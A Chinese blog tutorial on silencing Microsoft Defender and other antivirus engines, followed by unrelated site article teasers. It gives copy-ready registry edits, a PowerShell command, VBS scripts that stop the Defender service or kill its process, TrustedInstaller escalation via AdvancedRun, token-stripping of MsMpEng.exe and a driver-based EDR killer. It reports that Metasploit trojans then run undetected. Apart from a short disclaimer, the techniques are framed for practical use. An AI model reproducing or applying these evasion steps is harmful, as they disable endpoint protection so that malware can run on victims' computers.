花式沉默Defender

编者注:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

前言

总结了一下现在还能用的关闭Defender的方法,部分是原创,一部分借鉴的大佬。觉得字多的同学可以直接跳过思路查看步骤进行实操。

修改注册表关闭Defender

1.测试环境

windows10 20H2

windows10 21H2

windows11

图片

2.思路

微软为了提供用户更妥善的安全保护,在2020年8月更新中更新了支持文档。若用户安装了其他杀毒软件,Defender将自动关闭;若用户卸载杀毒软件解决方案,Defender将强制自动开启。那我们可不可以模拟杀毒软件的行为,让Defender误以为我们安装了杀软,从而达到关闭Defender的目的呢?答案是可以的。

将系统注册表备份,安装杀毒软件后再次提取注册表信息并进行对比。最后将疑似影响Defender运行的键值进行改动对比,最终得出几个键值的排列组合可以达到沉默Defender的作用。

HKLM\SOFTWARE\Policies\Microsoft\Windows Defender下,DisableAntiSpyware的值改为1,DisableAntiVirus的值改为1。

默认情况下并无这两个键值。

图片

更改后:

图片

HKLM\SOFTWARE\Microsoft\Security Center\Provider\Av\{D68DDC3A-831F-4fae-9E44-DA132C1ACF46}下,STATE改为 0x00060100。

图片

3.步骤

管理员模式打开命令行,执行:

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t reg_dword /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Security Center\Provider\Av\{D68DDC3A-831F-4fae-9E44-DA132C1ACF46}" /v STATE /t reg_dword /d "0x00060100" /f
4.成果

4.成果

修改完后重启,Defender仍然运行,但杀毒引擎已失效。

这里随意丢上一个msf的木马,成功绕过检测。

图片

 5.总结

1)需要管理员权限操作。

2)重启后才能生效。

3)执行完reg add命令后需要检查注册表是否生效,有时执行后注册表未更新,需多执行几次。

4)某些版本只需要更改DisableAntiVirus和STATE这两个键值即可生效。

PowerShell

 1.测试环境

windows10 1809

windows11

图片

图片

2.步骤

管理员权限打开powershell,输入如下命令:

$preferences = Get-MpPreference
Set-MpPreference -DisableRealtimeMonitoring (!$preferences.DisableRealtimeMonitoring)

3.成果

实时保护已关闭,且木马正常运行。

图片

4.总结

1)实时监控虽然关闭,但扫描引擎还正常运行,此时主动扫描木马还是会被检测到。

2)某些系统版本不生效,如windows10 20H2。

图片

TrustedInstaller权限关闭Defender

 1.原理

TrustedInstaller权限是windows vista或7里面为了系统安全起见而设立的,为系统最高权限,比我们所熟知的System权限更高。

在Windows XP及以前,System账户与管理员组对系统文件都有着完全访问的权限。这意味着以管理员身份运行的程序可以任意更改系统,降低了系统安全性。TrustedInstaller则改变了这一情况,使得只有拥有TrustedInstaller令牌的系统进程才能更改系统重要内容,而其他大部分系统服务就没有权限。   这是因为,以SYSTEM权限运行的程序不一定同时拥有TrustedInstaller的权限,只有通过了Service Control Manager(服务启动控制器)的验证后才能获取。

所以SYSTEM权限做不到的事情,我们可以尝试通过TrustedInstaller权限实现。

2.思路

我们可以利用工具获取TrustedInstaller权限,从 Nirsoft 官方页面(https://www.nirsoft.net/utils/advanced_run.html)下载AdvancedRun

将可执行文件AdvancedRun.exe解压出来后即可执行如下命令将程序作为TrustedInstaller启动。

AdvancedRun.exe /EXEFilename "c:\windows\system32\cmd.exe" /RunAs 8 /Run

此时弹出一个cmd,虽然查看当前用户显示System,但我们使用 whoami /priv查看特权还是能对比出与System的差别的。

TrustedInstaller:

图片

System:

图片

接下来我们尝试利用TrustedInstaller权限来关闭Defender。

创建一个vbs脚本来自动化关闭Defender,内容如下。

'Description: Script to disable the Microsoft Defender Antivirus service
Set ServiceSet = GetObject("winmgmts:").ExecQuery _("select * from Win32_Service where Name='WinDefend'")For Each Service In ServiceSet   RetVal = Service.StopService()    If RetVal <> 0 Then       MsgBox "Error " & RetVal   End If   Service.ChangeStartMode("Manual")Next

利用wscript.exe执行脚本。

AdvancedRun.exe /EXEFilename "%windir%\system32\wscript.exe" /CommandLine '"C:\Users\Pepper\Downloads\advancedrun\1.vbs"' /RunAs 8 /Run

返回错误。

图片

Error 2 表示用户没有所需的访问权限。

既然没有对服务的访问权限,那我们可以试一下能不能直接关闭Defender的进程,将上面的脚本改动一下,关闭MsMpEng.exe进程:

Set ServiceSet2 = GetObject("winmgmts:\\.\root\cimv2")Set ServiceSet = ServiceSet2.Execquery("select * from Win32_Process where Name='MsMpEng.exe'")For Each Service In ServiceSetRetVal = Service.Terminate() If RetVal <> 0 Then MsgBox "Error " & RetValEnd IfNext

又返回了Error2,思路似乎到这里就断了。但是之前研究Defender注册表的时候发现了一个表项中存储着Defender的运行信息,当时将权限提升到System也没有修改成功。

图片

试着以TrustedInstaller权限修改一下。

图片

图片

轻松干掉Defender。

3.步骤

1)TrustedInstaller权限启动cmd。

AdvancedRun.exe /EXEFilename "c:\windows\system32\cmd.exe" /RunAs 8 /Run

2)执行reg add命令,修改注册表

reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f

4.总结

与方案一相比,不需要重启,但是需要上传工具获取TrustedInstaller权限。

修改进程Token,关闭杀毒引擎

 1.原理

利用Windows 提供的OpenProcessTokenAPI 与进程令牌进行交互,MSDN声明必须PROCESS_QUERY_INFORMATION有权使用OpenProcessToken,但实际未受保护的进程可以通过PROCESS_QUERY_INFORMATION操作受保护进程的令牌。使用这种技术,攻击者可以强行删除MsMpEng.exe令牌中的所有权限,并将其从系统降低到不受信任的完整性。对不受信任的完整性的削弱会阻止受害进程访问系统上的大多数安全资源,从而在不终止进程的情况下悄悄地使进程失去能力。

2.思路

已经有师傅写好代码并开源了(https://github.com/pwn1sher/KillDefender),这里大概讲解一下思路。

图片

首先执行EnableDebugPrivilege函数提升当前进程权限,然后利用getpid函数获取到我们想修改Token的进程的PID,实现逻辑是遍历当前进程名,匹配后返回该进程PID。

图片

利用OpenProcess打开指定进程,并调用OpenProcessToken获取该进程Token。

图片

接下来需要使用 SetPrivilege()函数将进程的权限全部都去除掉。

图片

SetPrivilege的实现和之前提到过的EnableDebugPrivilege函数实现方式类似,主要用到三个函数:OpenProcessToken获取进程的令牌句柄,LookupPrivilegeValue查询进程权限,AdjustTokenPrivileges修改进程权限。注意EnableDebugPrivilege是修改当前进程的DEBUG权限,SetPrivilege是修改指定进程的指定权限。

图片

最后使用SetTokenInformation设置信息替换访问令牌的现有信息,破坏其完整性。

3.局限

必须获取system权限才能使用该方法。

图片

4.成果

扫描引擎已失效,点击扫描无法正常运行。

图片

生成一个原始木马,未被识别并上线。

图片

图片

继续测试火绒的进程HipsDaemon.exe,同样生效。

图片

测试360时,发现有行为检测被拦截。

图片

测试卡巴斯基,可以关闭扫描引擎,但会由于未知原因断网,难以利用。

图片

利用驱动关闭杀毒引擎

1.原理

加载自带微软官方签名的 ProcExp 驱动,利用其导出函数做到 Kill EDR 的效果。

2.思路

大佬已经写得很好了,参考资料(http://ryze-t.com/posts/2021/06/29/EdrKiller.html)。

其它

K杀软的方式还有很多,比如还可以修改组策略,利用未文档化函数等,参考资料(https://xz.aliyun.com/t/10663)。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/245914.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Git Docker 学习笔记

注意&#xff1a;该文章摘抄之百度&#xff0c;仅当做学习笔记供小白使用&#xff0c;若侵权请联系删除&#xff01; 目录 列举工作中常用的几个git命令&#xff1f; 提交时发生冲突&#xff0c;你能解释冲突是如何产生的吗&#xff1f;你是如何解决的&#xff1f; git的4个…

腾讯云轻量应用Windows服务器如何搭建幻兽帕鲁Palworld私服?

幻兽帕鲁/Palworld是一款2024年Pocketpair开发的开放世界生存制作游戏&#xff0c;在帕鲁的世界&#xff0c;玩家可以选择与神奇的生物“帕鲁”一同享受悠闲的生活&#xff0c;也可以投身于与偷猎者进行生死搏斗的冒险。而帕鲁可以进行战斗、繁殖、协助玩家做农活&#xff0c;也…

如何阅读xml电子发票

xml电子发票是官方给出的电子存档的文件格式&#xff0c;本质是文本&#xff0c;所以文件很小&#xff0c;大量发票存储&#xff0c;能够更加凸显优势。 但是xml电子发票不方便阅读&#xff0c;因为里面是xml格式&#xff0c;对于财务人员来讲&#xff0c;看“代码”简直太难了…

C语言实现希尔排序算法(附带源代码)

希尔排序 希尔排序&#xff0c;也称递减增量排序算法&#xff0c;是插入排序的一种更高效的改进版本。希尔排序是非稳定排序算法。 希尔排序是基于插入排序的以下两点性质而提出改进方法的&#xff1a; 插入排序在对几乎已经排好序的数据操作时&#xff0c;效率高&#xff0…

苹果笔记本MacBook电脑怎么卸载软件?三种方法快速卸载软件

苹果笔记本MacBook电脑是一款非常流行的电脑&#xff0c;但是有时候我们可能需要卸载一些不需要的软件。下面是一些简单的步骤&#xff0c;可以帮助您在MacBook电脑上卸载软件。 苹果笔记本MacBook电脑怎么卸载软件&#xff1f;三种实用方法快速卸载软件&#xff01; 方法一&a…

Java强训day4(选择题编程题)

选择题 接口中的方法是为了让重写编程题 题目 import java.util.Scanner;public class Main {public static void main(String[] args) {Scanner sc new Scanner(System.in);int a_b sc.nextInt();int b_c sc.nextInt();int ab sc.nextInt();int bc sc.nextInt();for(in…

【C++】入门

结束数据结构初阶的学习后&#xff0c;很高兴继续学习C&#xff0c;欢迎大家一起交流~ 目录 C关键字 命名空间 命名空间定义 命名空间使用 C输入&输出 缺省参数 缺省参数概念 缺省参数分类 函数重载 函数重载概念 C支持函数重载的原理--名字修饰 引用 引用概念…

选择排序(堆排序和topK问题)

选择排序 每一次从待排序的数据元素中选出最小&#xff08;或最大&#xff09;的一个元素&#xff0c;存放在序列的起始位置&#xff0c;直到全部待排序的数据元素排完 。 如果我们用扑克牌来举例&#xff0c;那么选择排序就像是提前已经把所有牌都摸完了&#xff0c;而再进行牌…

Google Chrome RCE漏洞 CVE-2020-6507 和 CVE-2024-0517 流程分析

本文深入研究了两个在 Google Chrome 的 V8 JavaScript 引擎中发现的漏洞&#xff0c;分别是 CVE-2020-6507 和 CVE-2024-0517。这两个漏洞都涉及 V8 引擎的堆损坏问题&#xff0c;允许远程代码执行。通过EXP HTML部分的内存操作、垃圾回收等流程方式实施利用攻击。 CVE-2020-…

网络编程套接字(1)

网络编程基础 为什么需要网络编程? --丰富的网络资源 用户在浏览器中,打开在线视频网站,如优酷看视频,实质通过网络,获取到网络上的一个视频资源 与本地打开视频文件类似,只是视频文件这个资源的来源是网络. 相比于本地资源来说,网络提供了更为丰富的网络资源: 所谓的网络…

uniapp状态管理Vuex介绍及vuex核心概念

状态管理Vuex Vuex 是什么&#xff1f; Vuex 是一个专为 Vue.js 应用程序开发的状态管理模式。它采用集中式存储管理应用的所有组件的状态&#xff0c;并以相应的规则保证状态以一种可预测的方式发生变化。 uni-app 内置了 Vuex 什么是“状态管理模式”&#xff1f; <!…

要做接口并发性能测试,总得先学会分析吧!

&#x1f525; 交流讨论&#xff1a;欢迎加入我们一起学习&#xff01; &#x1f525; 资源分享&#xff1a;耗时200小时精选的「软件测试」资料包 &#x1f525; 教程推荐&#xff1a;火遍全网的《软件测试》教程 &#x1f4e2;欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1…

电脑自动开机播放PPT的解决方案

客户有个需求&#xff0c;要求与LED大屏幕连接的电脑定时自动播放PPT。为了安全电脑在不播放的时段&#xff0c;必须关机。 目录 1、使用“时控插座”并进行设置 2、戴尔电脑BIOS设置&#xff08;上电开机&#xff09; 3、设置Windows自动登录 4、任务计划设置 5、启动Au…

谷粒商城【成神路】-【1】——项目搭建

目录 &#x1f95e;1.整体架构图 &#x1f355;2.微服务划分图 &#x1f354;3.开发环境 &#x1f354;4.搭建git &#x1f32d;5.快速搭建服务 &#x1f37f;6.数据库搭建 &#x1f9c2;7.获取脚手架 &#x1f953;8.代码生成器 &#x1f373;9.创建公共模块 …

springboot优雅停机

import org.springframework.context.annotation.Configuration;import javax.annotation.PreDestroy;Configuration public class DataBackupConfig {PreDestroypublic void backData(){System.out.println("开始备份..."System.currentTimeMillis());System.out.pr…

GPT-5不叫GPT-5?下一代模型会有哪些新功能?

OpenAI首席执行官奥特曼在上周三达沃斯论坛接受媒体采访时表示&#xff0c;他现在的首要任务就是推出下一代大模型&#xff0c;这款模型不一定会命名GPT-5。虽然GPT-5的商标早已经注册。 如果GPT-4目前解决了人类任务的10%&#xff0c;GPT-5应该是15%或者20%。 OpenAI从去年开…

【STM32】STM32学习笔记-硬件SPI读写W25Q64(40)

00. 目录 文章目录 00. 目录01. SPI简介02. W25Q64简介03. SPI相关API3.1 SPI_Init3.2 SPI_Cmd3.3 SPI_I2S_SendData3.4 SPI_I2S_ReceiveData3.5 SPI_I2S_GetFlagStatus3.6 SPI_I2S_ClearFlag3.7 SPI_InitTypeDef 04. 硬件SPI读写W25Q64接线图05. 硬件SPI读写W25Q64示例06. 程序…

gitlab.rb主要配置

根据是否docker安装,进入挂载目录或安装目录 修改此文件,我一般是在可视化窗口中修改,有时候也在命令行手敲 将下面的配置复制到该文件中 external_url http://192.168.100.50 # nginx[listen_port] = 8000 (docker安装的这一行不需要,因为端口映射导致此处修改会导致访问…

RX4901CE (RTC模块)

RX4901CE是一个集成了32.768 kHz数字温度补偿晶体振荡器(DTCXO)的RTC模块。高稳定性&#xff0c;低电流消耗&#xff0c;时间戳功能&#xff0c;当外部或内部事件发生时&#xff0c;可以记录多达32个日期和时间&#xff0c;以及基本的RTC功能&#xff0c;如时间和日历&#xff…

python flask学生管理系统

预览 前端 jquery css html bootstrap: 4.x 后端 python: 3.6.x flask: 2.0.x 数据库 mysql: 5.7 学生管理模块 登录、退出查看个人信息、修改个人信息成绩查询查看已选课程选课、取消选课搜索课程课程列表分页功能 教师模块 登录、退出查看个人信息、修改个人信息录入…